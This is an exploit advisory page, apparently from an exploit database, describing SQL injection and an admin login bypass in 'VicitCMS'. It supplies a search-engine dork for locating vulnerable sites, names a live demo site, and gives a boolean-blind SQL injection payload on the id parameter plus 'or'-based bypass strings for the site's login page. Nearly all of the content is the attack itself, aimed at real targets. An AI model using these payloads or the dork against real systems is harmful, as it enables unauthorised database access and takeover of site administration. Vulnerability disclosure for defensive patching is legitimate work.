VicitCMS SQL Injection & Admin Panel bypass

2022.01.31
de K0uR0sH3R (DE) de
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

********************************************************* #Exploit Title: VicitCMS SQL Injection / Admin Panel bypass #Date: 2022-01-30 #Exploit Author: K0uR0sH3R #Google Dork: intext:"VicitCMS" #Version: 1.0 #Vendor Homepage: vicitdigital.com #Category:webapps #Tested On: windows 10, Firefox ### Demo : https://www.lakie1.com/currnetDogs1.php?id=49 POC : --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=49' AND 9212=9212 AND 'zHua'='zHua --- Bypass : https://www.lakie1.com/login/ :::: User:'=''or' - Pass:'=''or' ********************************************************* #TELEGRAM: K0uR0sH3R_info #Email: K0uR0sH3R@gmail.com *********************************************************


Vote for this issue:
100%
0%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top